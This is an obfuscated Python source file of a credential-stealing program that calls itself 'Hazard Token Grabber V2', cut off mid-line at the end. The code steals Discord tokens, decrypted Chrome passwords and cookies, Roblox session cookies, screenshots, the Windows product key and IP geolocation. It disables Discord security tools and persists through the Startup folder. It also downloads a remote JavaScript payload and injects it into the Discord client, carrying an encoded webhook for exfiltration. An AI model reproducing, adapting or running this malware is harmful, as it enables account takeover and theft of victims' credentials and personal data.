import os #line:1 import json #line:2 import httpx #line:3 import ctypes #line:4 import shutil #line:5 import psutil #line:6 import asyncio #line:7 import sqlite3 #line:8 import zipfile #line:9 import threading #line:10 import subprocess #line:11 from time import sleep #line:13 from rich .console import Console #line:14 from sys import argv #line:15 from PIL import ImageGrab #line:16 from base64 import b64decode #line:17 from re import findall ,match #line:18 from Crypto .Cipher import AES #line:19 from win32crypt import CryptUnprotectData #line:20 config ={'updater':b64decode (b64decode (b64decode ("WEBHOOK IN BASE64 3 TIMES"))).decode ("utf-8"),'testing_url':b64decode ("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL1JkaW1vL0Rpc2NvcmQtSW5qZWN0aW9uL21hc3Rlci9pbmplY3Rpb24uanM").decode ("utf-8"),'tryv1':True ,'tryv2':True ,'tryv3':True }#line:33 class functions (object ):#line:36 @staticmethod #line:37 def getHeaders (O0OOOOOO0O00O00OO :str =None ):#line:38 O00000O0000OOOOO0 ={"Content-Type":"application/json",}#line:41 if O0OOOOOO0O00O00OO :#line:42 O00000O0000OOOOO0 .update ({"Authorization":O0OOOOOO0O00O00OO })#line:43 return O00000O0000OOOOO0 #line:44 @staticmethod #line:46 def get_master_key (OO0O000O00000O0OO )->str :#line:47 with open (OO0O000O00000O0OO ,"r",encoding ="utf-8")as O0O0OO000OOO00OO0 :#line:48 OOOOOO00O0O000000 =O0O0OO000OOO00OO0 .read ()#line:49 O00000000O0O0OO0O =json .loads (OOOOOO00O0O000000 )#line:50 OO00O0O0OOOOO0O0O =b64decode (O00000000O0O0OO0O ["os_crypt"]["encrypted_key"])#line:52 OO00O0O0OOOOO0O0O =OO00O0O0OOOOO0O0O [5 :]#line:53 OO00O0O0OOOOO0O0O =CryptUnprotectData (OO00O0O0OOOOO0O0O ,None ,None ,None ,0 )[1 ]#line:54 return OO00O0O0OOOOO0O0O #line:55 @staticmethod #line:57 def decrypt_val (O0000OOOO0OOO00O0 ,O00O00O0O00O000OO )->str :#line:58 try :#line:59 OOO0OO0O0O0O0O0O0 =O0000OOOO0OOO00O0 [3 :15 ]#line:60 O000000O00OOO00O0 =O0000OOOO0OOO00O0 [15 :]#line:61 O0000OOOO000OO000 =AES .new (O00O00O0O00O000OO ,AES .MODE_GCM ,OOO0OO0O0O0O0O0O0 )#line:62 OO000O00O0OO0OOO0 =O0000OOOO000OO000 .decrypt (O000000O00OOO00O0 )#line:63 OO000O00O0OO0OOO0 =OO000O00O0OO0OOO0 [:-16 ].decode ()#line:64 return OO000O00O0OO0OOO0 #line:65 except Exception :#line:66 return "Failed to decrypt password"#line:67 @staticmethod #line:69 def config (OO0O00O0OOO000OOO :str )->str or bool |None :#line:70 return config .get (OO0O00O0OOO000OOO )#line:71 class Hazard_Token_Grabber_V2 (functions ):#line:74 def __init__ (O00OO00OO0O0O00OO ):#line:75 O00OO00OO0O0O00OO .webhook =O00OO00OO0O0O00OO .config ('updater')#line:76 O00OO00OO0O0O00OO .baseurl ="https://discord.com/api/v9/users/@me"#line:77 O00OO00OO0O0O00OO .appdata =os .getenv ("localappdata")#line:78 O00OO00OO0O0O00OO .roaming =os .getenv ("appdata")#line:79 O00OO00OO0O0O00OO .temp =os .getenv ("temp")#line:80 O00OO00OO0O0O00OO .startup =O00OO00OO0O0O00OO .roaming +"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"#line:81 O00OO00OO0O0O00OO .dir =O00OO00OO0O0O00OO .temp +"\\Hazard_Token_Grabber_V2"#line:82 O00OO00OO0O0O00OO .regex =r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}",r"mfa\.[\w-]{84}"#line:83 O00OO00OO0O0O00OO .encrypted_regex =r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*"#line:84 try :#line:86 os .mkdir (os .path .join (O00OO00OO0O0O00OO .dir ))#line:87 except Exception :#line:88 pass #line:89 O00OO00OO0O0O00OO .sep =os .sep #line:91 O00OO00OO0O0O00OO .tokens =[]#line:92 O00OO00OO0O0O00OO .robloxcookies =[]#line:93 def try_extract (OO00OO0OOOOOOOO00 ):#line:95 def O000O0000000O0OOO (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O ):#line:96 try :#line:97 OO00OO0OOOOOOOO00 (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O )#line:98 except Exception :#line:99 pass #line:100 return O000O0000000O0OOO #line:101 async def checkToken (OOO00OO00OOO00O00 ,OOOO0O000000OOOOO :str )->str :#line:103 try :#line:104 OOO0O000OOOO00000 =httpx .get (url =OOO00OO00OOO00O00 .baseurl ,headers =OOO00OO00OOO00O00 .getHeaders (OOOO0O000000OOOOO ),timeout =5.0 )#line:109 except (httpx ._exceptions .ConnectTimeout ,httpx ._exceptions .TimeoutException ):#line:110 pass #line:111 if OOO0O000OOOO00000 .status_code ==200 and OOOO0O000000OOOOO not in OOO00OO00OOO00O00 .tokens :#line:112 OOO00OO00OOO00O00 .tokens .append (OOOO0O000000OOOOO )#line:113 async def init (O0OOO00OOOO000O00 ):#line:115 await O0OOO00OOOO000O00 .bypassBetterDiscord ()#line:116 await O0OOO00OOOO000O00 .bypassTokenProtector ()#line:117 OO00OO0OO000OO0O0 =[O0OOO00OOOO000O00 .screenshot ,O0OOO00OOOO000O00 .grabTokens ,O0OOO00OOOO000O00 .grabRobloxCookie ]#line:119 if O0OOO00OOOO000O00 .config ('tryv3'):#line:120 OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .hide )#line:121 if O0OOO00OOOO000O00 .config ('tryv1'):#line:123 OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .killDiscord )#line:124 if O0OOO00OOOO000O00 .config ('tryv2'):#line:126 OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .startup )#line:127 if os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Default')and os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Local State'):#line:129 OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabPassword )#line:130 OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabCookies )#line:131 for OO0OO0000OOO0OOO0 in OO00OO0OO000OO0O0 :#line:133 O0000O00OOO0OO000 =threading .Thread (target =OO0OO0000OOO0OOO0 ,daemon =True )#line:134 O0000O00OOO0OO000 .start ()#line:135 for OOO0OO00O0OOO000O in threading .enumerate ():#line:136 try :#line:137 OOO0OO00O0OOO000O .join ()#line:138 except RuntimeError :#line:139 continue #line:140 O0OOO00OOOO000O00 .neatifyTokens ()#line:141 await O0OOO00OOOO000O00 .injector ()#line:142 O0OOO00OOOO000O00 .finish ()#line:143 shutil .rmtree (O0OOO00OOOO000O00 .dir )#line:144 def hide (OO00O0OOO00O000O0 ):#line:146 ctypes .windll .kernel32 .SetFileAttributesW (argv [0 ],2 )#line:147 def startup (OOO0OOOOOO0O000O0 ):#line:149 try :#line:150 shutil .copy2 (argv [0 ],OOO0OOOOOO0O000O0 .startup )#line:151 except Exception :#line:152 pass #line:153 async def injector (OO0000O0OOO0O00O0 ):#line:155 for _O0O0O00O0OO00000O in os .listdir (OO0000O0OOO0O00O0 .appdata ):#line:156 if 'discord'in _O0O0O00O0OO00000O .lower ():#line:157 O0O00OO000000O0O0 =OO0000O0OOO0O00O0 .appdata +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O #line:158 OOOOOOO00O00OO000 =O0O00OO000000O0O0 +OO0000O0OOO0O00O0 .sep #line:159 for __OO00O00OO00O00000 in os .listdir (os .path .abspath (O0O00OO000000O0O0 )):#line:160 if match (r'app-(\d*\.\d*)*',__OO00O00OO00O00000 ):#line:161 O0OOO00O00O0O0O00 =os .path .abspath (OOOOOOO00O00OO000 +__OO00O00OO00O00000 )#line:162 O00O0OOO0OOO0OO00 =O0OOO00O00O0O0O00 +'\\modules\\discord_desktop_core-3\\discord_desktop_core\\'#line:163 if os .path .exists (O00O0OOO0OOO0OO00 ):#line:164 if OO0000O0OOO0O00O0 .startup not in argv [0 ]:#line:165 try :#line:166 os .makedirs (O00O0OOO0OOO0OO00 +'initiation',exist_ok =True )#line:168 except (FileExistsError ,PermissionError ):#line:169 pass #line:170 OO000OO000OO00O00 =httpx .get (OO0000O0OOO0O00O0 .config ('testing_url')).text .replace ("%WEBHOOK%",OO0000O0OOO0O00O0 .webhook )#line:172 with open (O00O0OOO0OOO0OO00 +'index.js','w',errors ="ignore")as O0O000OO0O0O0O000 :#line:173 O0O000OO0O0O0O000 .write (OO000OO000OO00O00 )#line:174 os .startfile (O0OOO00O00O0O0O00 +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O +'.exe')#line:175 def killDiscord (OO0O00OO000OOOO0O ):#line:177 for OO000OO00000OO0OO in psutil .process_iter ():#line:178 if any (O0000O0O0O0O0O000 in OO000OO00000OO0OO .name ().lower ()for O0000O0O0O0O0O000 in ['discord','discordtokenprotector','discordcanary','discorddevelopment','discordptb']):#line:180 try :#line:181 OO000OO00000OO0OO .kill ()#line:182 except (psutil .NoSuchProcess ,psutil .AccessDenied ):#line:183 pass #line:184 async def bypassTokenProtector (OOO0OOOO0OOOOO0O0 ):#line:186 OOO0OO0OO00OOOO00 =f"{OOO0OOOO0OOOOO0O0.roaming}\\DiscordTokenProtector\\"#line:188 O0O0O00O00000OO00 =OOO0OO0OO00OOOO00 +"config.json"#line:189 for OO000000OOOOO0O0O in ["DiscordTokenProtector.exe","ProtectionPayload.dll","secure.dat"]:#line:191 try :#line:192 os .remove (OOO0OO0OO00OOOO00 +OO000000OOOOO0O0O )#line:193 except FileNotFoundError :#line:194 pass #line:195 if os .path .exists (O0O0O00O00000OO00 ):#line:196 with open (O0O0O00O00000OO00 ,errors ="ignore")as OOOOOO00O0OOO00OO :#line:197 try :#line:198 O0OO000OO00O000O0 =json .load (OOOOOO00O0OOO00OO )#line:199 except json .decoder .JSONDecodeError :#line:200 return #line:201 O0OO000OO00O000O0 ['Rdimo_just_shit_on_this_token_protector']="https://github.com/Rdimo"#line:202 O0OO000OO00O000O0 ['auto_start']=False #line:203 O0OO000OO00O000O0 ['auto_start_discord']=False #line:204 O0OO000OO00O000O0 ['integrity']=False #line:205 O0OO000OO00O000O0 ['integrity_allowbetterdiscord']=False #line:206 O0OO000OO00O000O0 ['integrity_checkexecutable']=False #line:207 O0OO000OO00O000O0 ['integrity_checkhash']=False #line:208 O0OO000OO00O000O0 ['integrity_checkmodule']=False #line:209 O0OO000OO00O000O0 ['integrity_checkscripts']=False #line:210 O0OO000OO00O000O0 ['integrity_checkresource']=False #line:211 O0OO000OO00O000O0 ['integrity_redownloadhashes']=False #line:212 O0OO000OO00O000O0 ['iterations_iv']=364 #line:213 O0OO000OO00O000O0 ['iterations_key']=457 #line:214 O0OO000OO00O000O0 ['version']=69420 #line:215 with open (O0O0O00O00000OO00 ,'w')as OOOOOO00O0OOO00OO :#line:216 json .dump (O0OO000OO00O000O0 ,OOOOOO00O0OOO00OO ,indent =2 ,sort_keys =True )#line:217 with open (O0O0O00O00000OO00 ,'a')as OOOOOO00O0OOO00OO :#line:218 OOOOOO00O0OOO00OO .write ("\n\n//Rdimo just shit on this token protector | https://github.com/Rdimo")#line:220 async def bypassBetterDiscord (O0O0O0OO00OO0O000 ):#line:222 OO00000OO00O0OOO0 =O0O0O0OO00OO0O000 .roaming +"\\BetterDiscord\\data\\betterdiscord.asar"#line:223 if os .path .exists (OO00000OO00O0OOO0 ):#line:224 O000OOO0OOOO000O0 ="api/webhooks"#line:225 with open (OO00000OO00O0OOO0 ,'r',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:226 O00OO000O00000OO0 =OO00O000000O00OO0 .read ()#line:227 O00OOO00000O00000 =O00OO000O00000OO0 .replace (O000OOO0OOOO000O0 ,'RdimoTheGoat')#line:228 with open (OO00000OO00O0OOO0 ,'w',newline ='',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:229 OO00O000000O00OO0 .write (O00OOO00000O00000 )#line:230 def getProductValues (OO00O00OO00O0OO00 ):#line:232 try :#line:233 O00O00O00O0OO00O0 =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault",creationflags =0x08000000 ).decode ().rstrip ()#line:235 except Exception :#line:236 O00O00O00O0OO00O0 ="N/A (Likely Pirated)"#line:237 try :#line:238 O0OOOO00O0OOO000O =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName",creationflags =0x08000000 ).decode ().rstrip ()#line:240 except Exception :#line:241 O0OOOO00O0OOO000O ="N/A"#line:242 return [O0OOOO00O0OOO000O ,O00O00O00O0OO00O0 ]#line:243 @try_extract #line:245 def grabTokens (OO0O00O00O0OO0O0O ):#line:246 O0OOO00O0O00O0000 ={'Discord':OO0O00O00O0OO0O0O .roaming +r'\\discord\\Local Storage\\leveldb\\','Discord Canary':OO0O00O00O0OO0O0O .roaming +r'\\discordcanary\\Local Storage\\leveldb\\','Lightcord':OO0O00O00O0OO0O0O .roaming +r'\\Lightcord\\Local Storage\\leveldb\\','Discord PTB':OO0O00O00O0OO0O0O .roaming +r'\\discordptb\\Local Storage\\leveldb\\','Opera':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\','Opera GX':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\','Amigo':OO0O00O00O0OO0O0O .appdata +r'\\Amigo\\User Data\\Local Storage\\leveldb\\','Torch':OO0O00O00O0OO0O0O .appdata +r'\\Torch\\User Data\\Local Storage\\leveldb\\','Kometa':OO0O00O00O0OO0O0O .appdata +r'\\Kometa\\User Data\\Local Storage\\leveldb\\','Orbitum':OO0O00O00O0OO0O0O .appdata +r'\\Orbitum\\User Data\\Local Storage\\leveldb\\','CentBrowser':OO0O00O00O0OO0O0O .appdata +r'\\CentBrowser\\User Data\\Local Storage\\leveldb\\','7Star':OO0O00O00O0OO0O0O .appdata +r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\','Sputnik':OO0O00O00O0OO0O0O .appdata +r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\','Vivaldi':OO0O00O00O0OO0O0O .appdata +r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\','Chrome SxS':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\','Chrome':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\','Epic Privacy Browser':OO0O00O00O0OO0O0O .appdata +r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\','Microsoft Edge':OO0O00O00O0OO0O0O .appdata +r'\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\','Uran':OO0O00O00O0OO0O0O .appdata +r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\','Yandex':OO0O00O00O0OO0O0O .appdata +r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\','Brave':OO0O00O00O0OO0O0O .appdata +r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\','Iridium':OO0O00O00O0OO0O0O .appdata +r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}#line:270 for _OOO000O00O00OOOOO ,O0O000O0O0OOO0OOO in O0OOO00O0O00O0000 .items ():#line:272 if not os .path .exists (O0O000O0O0OOO0OOO ):#line:273 continue #line:274 if "discord"not in O0O000O0O0OOO0OOO :#line:275 for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:276 if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:277 continue #line:278 for OO00000OOO00OO000 in [OOO0O0OO0O0000OO0 .strip ()for OOO0O0OO0O0000OO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOO0O0OO0O0000OO0 .strip ()]:#line:279 for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:280 for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:281 asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:282 else :#line:283 if os .path .exists (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'):#line:284 for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:285 if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:286 continue #line:287 for OO00000OOO00OO000 in [OOOO000OO0OO0OOO0 .strip ()for OOOO000OO0OO0OOO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOOO000OO0OO0OOO0 .strip ()]:#line:288 for O00O00OO0OO0OO0OO in findall (OO0O00O00O0OO0O0O .encrypted_regex ,OO00000OOO00OO000 ):#line:289 OO0OOO000000O0O0O =OO0O00O00O0OO0O0O .decrypt_val (b64decode (O00O00OO0OO0OO0OO .split ('dQw4w9WgXcQ:')[1 ]),OO0O00O00O0OO0O0O .get_master_key (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'))#line:291 asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:292 if os .path .exists (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:294 for O0O000O0O0OOO0OOO ,_OOO000O00O00OOOOO ,OOOO0O0O0000OOO0O in os .walk (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:295 for _O00OOOO00000O00O0 in OOOO0O0O0000OOO0O :#line:296 if not _O00OOOO00000O00O0 .endswith ('.sqlite'):#line:297 continue #line:298 for OO00000OOO00OO000 in [O000000O00OO00O00 .strip ()for O000000O00OO00O00 in open (f'{O0O000O0O0OOO0OOO}\\{_O00OOOO00000O00O0}',errors ='ignore').readlines ()if O000000O00OO00O00 .strip ()]:#line:299 for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:300 for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:301 asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:302 @try_extract #line:304 def grabPassword (O0O00OOO0O00OO000 ):#line:305 OO00OOO0OO00O0O00 =O0O00OOO0O00OO000 .get_master_key (O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:307 OO0OO0OOOOOO0O00O =O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\default\\Login Data'#line:308 OO00O00OOOOO0O0OO =O0O00OOO0O00OO000 .temp +O0O00OOO0O00OO000 .sep +"Loginvault1.db"#line:309 shutil .copy2 (OO0OO0OOOOOO0O00O ,OO00O00OOOOO0O0OO )#line:311 OO00O0O00OOO0O00O =sqlite3 .connect (OO00O00OOOOO0O0OO )#line:312 O0O0000O000OOO0O0 =OO00O0O00OOO0O00O .cursor ()#line:313 with open (O0O00OOO0O00OO000 .dir +"\\Google Passwords.txt","w",encoding ="cp437",errors ='ignore')as O0OO0O0O0O0OO0O00 :#line:314 O0O0000O000OOO0O0 .execute ("SELECT action_url, username_value, password_value FROM logins")#line:316 for O00OO00O0O0OOO00O in O0O0000O000OOO0O0 .fetchall ():#line:317 OOO0O0O000O0OO0O0 =O00OO00O0O0OOO00O [0 ]#line:318 O000000OOO0O0000O =O00OO00O0O0OOO00O [1 ]#line:319 O0O00O0O00OOO0O00 =O00OO00O0O0OOO00O [2 ]#line:320 O0OO0O00000OO0OO0 =O0O00OOO0O00OO000 .decrypt_val (O0O00O0O00OOO0O00 ,OO00OOO0OO00O0O00 )#line:322 if OOO0O0O000O0OO0O0 !="":#line:323 O0OO0O0O0O0OO0O00 .write (f"Domain: {OOO0O0O000O0OO0O0}\nUser: {O000000OOO0O0000O}\nPass: {O0OO0O00000OO0OO0}\n\n")#line:325 O0O0000O000OOO0O0 .close ()#line:326 OO00O0O00OOO0O00O .close ()#line:327 os .remove (OO00O00OOOOO0O0OO )#line:328 @try_extract #line:330 def grabCookies (O00OO000O0000OO00 ):#line:331 OOO0O0OOOO000O000 =O00OO000O0000OO00 .get_master_key (O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:333 O0O00OOO00000OO0O =O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\default\\Network\\cookies'#line:334 O0O00OOO000OOOO0O =O00OO000O0000OO00 .temp +O00OO000O0000OO00 .sep +"Loginvault2.db"#line:335 shutil .copy2 (O0O00OOO00000OO0O ,O0O00OOO000OOOO0O )#line:336 OOOOOO0OO00000O0O =sqlite3 .connect (O0O00OOO000OOOO0O )#line:337 OOO0O00O00OO00OO0 =OOOOOO0OO00000O0O .cursor ()#line:338 with open (O00OO000O0000OO00 .dir +"\\Google Cookies.txt","w",encoding ="cp437",errors ='ignore')as O00000OOOOO000OOO :#line:339 OOO0O00O00OO00OO0 .execute ("SELECT host_key, name, encrypted_value from cookies")#line:341 for OO00OO0O0O0O0O0O0 in OOO0O00O00OO00OO0 .fetchall ():#line:342 O00000O000000000O =OO00OO0O0O0O0O0O0 [0 ]#line:343 OOOOOOOO0000O0000 =OO00OO0O0O0O0O0O0 [1 ]#line:344 O0OOO0OO0OOO0O00O =O00OO000O0000OO00 .decrypt_val (OO00OO0O0O0O0O0O0 [2 ],OOO0O0OOOO000O000 )#line:345 if O00000O000000000O !="":#line:346 O00000OOOOO000OOO .write (f"Host: {O00000O000000000O}\nUser: {OOOOOOOO0000O0000}\nCookie: {O0OOO0OO0OOO0O00O}\n\n")#line:348 if '_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_'in O0OOO0OO0OOO0O00O :#line:349 O00OO000O0000OO00 .robloxcookies .append (O0OOO0OO0OOO0O00O )#line:350 OOO0O00O00OO00OO0 .close ()#line:351 OOOOOO0OO00000O0O .close ()#line:352 os .remove (O0O00OOO000OOOO0O )#line:353 def neatifyTokens (O0OOOOOO00OOOOOO0 ):#line:355 OO0O000OO00OOOO0O =open (O0OOOOOO00OOOOOO0 .dir +"\\Discord Info.txt","w",encoding ="cp437",errors ='ignore')#line:357 for O0O0OOOO00000O00O in O0OOOOOO00OOOOOO0 .tokens :#line:358 OOO0000O00OO0OO0O =httpx .get (O0OOOOOO00OOOOOO0 .baseurl ,headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:360 O0O00OOOO00000OOO =OOO0000O00OO0OO0O .get ('username')+'#'+str (OOO0000O00OO0OO0O .get ("discriminator"))#line:361 OO00O0OOO0O0O00O0 =""#line:363 O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:364 O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:365 if (O00OOOO00O00O0O00 ==1 ):#line:366 OO00O0OOO0O0O00O0 +="Staff, "#line:367 if (O00OOOO00O00O0O00 ==2 ):#line:368 OO00O0OOO0O0O00O0 +="Partner, "#line:369 if (O00OOOO00O00O0O00 ==4 ):#line:370 OO00O0OOO0O0O00O0 +="Hypesquad Event, "#line:371 if (O00OOOO00O00O0O00 ==8 ):#line:372 OO00O0OOO0O0O00O0 +="Green Bughunter, "#line:373 if (O00OOOO00O00O0O00 ==64 ):#line:374 OO00O0OOO0O0O00O0 +="Hypesquad Bravery, "#line:375 if (O00OOOO00O00O0O00 ==128 ):#line:376 OO00O0OOO0O0O00O0 +="HypeSquad Brillance, "#line:377 if (O00OOOO00O00O0O00 ==256 ):#line:378 OO00O0OOO0O0O00O0 +="HypeSquad Balance, "#line:379 if (O00OOOO00O00O0O00 ==512 ):#line:380 OO00O0OOO0O0O00O0 +="Early Supporter, "#line:381 if (O00OOOO00O00O0O00 ==16384 ):#line:382 OO00O0OOO0O0O00O0 +="Gold BugHunter, "#line:383 if (O00OOOO00O00O0O00 ==131072 ):#line:384 OO00O0OOO0O0O00O0 +="Verified Bot Developer, "#line:385 if (OO00O0OOO0O0O00O0 ==""):#line:386 OO00O0OOO0O0O00O0 ="None"#line:387 OOO000O000O0O0OOO =OOO0000O00OO0OO0O .get ("email")#line:388 OOO0OO000OO00O0O0 =OOO0000O00OO0OO0O .get ("phone")if OOO0000O00OO0OO0O .get ("phone")else "No Phone Number attached"#line:390 OOOO00O000OO0OOOO =httpx .get (O0OOOOOO00OOOOOO0 .baseurl +'/billing/subscriptions',headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:392 O0OOO00OO0OO0O0O0 =False #line:393 O0OOO00OO0OO0O0O0 =bool (len (OOOO00O000OO0OOOO )>0 )#line:394 O0OOOOOOO0OOOO0O0 =bool (len (json .loads (httpx .get (O0OOOOOO00OOOOOO0 .baseurl +"/billing/payment-sources",headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).text ))>0 )#line:396 OO0O000OO00OOOO0O .write (f"{' '*17}{O0O00OOOO00000OOO}\n{'-'*50}\nToken: {O0O0OOOO00000O00O}\nHas Billing: {O0OOOOOOO0OOOO0O0}\nNitro: {O0OOO00OO0OO0O0O0}\nBadges: {OO00O0OOO0O0O00O0}\nEmail: {OOO000O000O0O0OOO}\nPhone: {OOO0OO000OO00O0O0}\n\n")#line:397 OO0O000OO00OOOO0O .close ()#line:398 def grabRobloxCookie (O000O0O00000OO00O ):#line:400 def OO0O0O0O00000OO00 (O000000O00OOOO0O0 ):#line:401 try :#line:402 return subprocess .check_output (fr"powershell Get-ItemPropertyValue -Path {O000000O00OOOO0O0}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY",creationflags =0x08000000 ).decode ().rstrip ()#line:405 except Exception :#line:406 return None #line:407 O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKLM')#line:408 if not O0OOOOOOO00000000 :#line:409 O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKCU')#line:410 if O0OOOOOOO00000000 :#line:411 O000O0O00000OO00O .robloxcookies .append (O0OOOOOOO00000000 )#line:412 if O000O0O00000OO00O .robloxcookies :#line:413 with open (O000O0O00000OO00O .dir +"\\Roblox Cookies.txt","w")as OO00O000OO00000OO :#line:414 for OOOO0O0O0OOO0OO00 in O000O0O00000OO00O .robloxcookies :#line:415 OO00O000OO00000OO .write (OOOO0O0O0OOO0OO00 +'\n')#line:416 def screenshot (O000OOO000O0OOOO0 ):#line:418 OO0OOO00OO0O000OO =ImageGrab .grab (bbox =None ,include_layered_windows =False ,all_screens =True ,xdisplay =None )#line:424 OO0OOO00OO0O000OO .save (O000OOO000O0OOOO0 .dir +"\\Screenshot.png")#line:425 OO0OOO00OO0O000OO .close ()#line:426 def finish (O000O0O00O0O0OOOO ):#line:428 for OO00OO0O0O0000O00 in os .listdir (O000O0O00O0O0OOOO .dir ):#line:429 if OO00OO0O0O0000O00 .endswith ('.txt'):#line:430 O0OO0000O00O0O0O0 =O000O0O00O0O0OOOO .dir +O000O0O00O0O0OOOO .sep +OO00OO0O0O0000O00 #line:431 with open (O0OO0000O00O0O0O0 ,"r",errors ="ignore")as OOOO0OOOOO00O00OO :#line:432 OOOO0OOO0O000O00O =OOOO0OOOOO00O00OO .read ()#line:433 if not OOOO0OOO0O000O00O :#line:434 try :#line:435 os .remove (O0OO0000O00O0O0O0 )#line:436 except PermissionError :#line:437 pass #line:438 with open (O0OO0000O00O0O0O0 ,"w",encoding ="utf-8")as OO000OOO000O0OOOO :#line:439 OO000OOO000O0OOOO .write ("🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2\n\n")#line:441 with open (O0OO0000O00O0O0O0 ,"a",encoding ="utf-8")as OO000OO0OOOOO00OO :#line:442 OO000OO0OOOOO00OO .write (OOOO0OOO0O000O00O +"\n\n🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2")#line:444 O00OOOO0O00O00OO0 =O000O0O00O0O0OOOO .getProductValues ()#line:445 OO0O0OOOO00OOO0O0 =O00OOOO0O00O00OO0 [0 ].replace (" ","᠎ ")#line:446 OO00O00OO0O0OO000 =O00OOOO0O00O00OO0 [1 ].replace (" ","᠎ ")#line:447 OOOOOO000O0OO0OO0 =str (psutil .virtual_memory ()[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:448 OO0OO0OO00OOOO0O0 =str (psutil .disk_usage ('/')[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:449 O00O000O0O0O0O00O =httpx .get ("https://ipinfo.io/json").json ()#line:451 OO00OO0O0OO00000O =O00O000O0O0O0O00O .get ('ip').replace (" ","᠎ ")#line:452 OOOO0000OOO00O00O =O00O000O0O0O0O00O .get ('city').replace (" ","᠎ ")#line:453 OOOOOOO0O0000000O =O00O000O0O0O0O00O .get ('country').replace (" ","᠎ ")#line:454 OOOO000OO00O00OOO =O00O000O0O0O0O00O .get ('region').replace (" ","᠎ ")#line:455 OOO0O00OO000OO0OO =O00O000O0O0O0O00O .get ('org').replace (" ","᠎ ")#line:456 O0OO0OO00O0000O00 ="https://www.google.com/maps/search/google+map++"+O00O000O0O0O0O00O .get 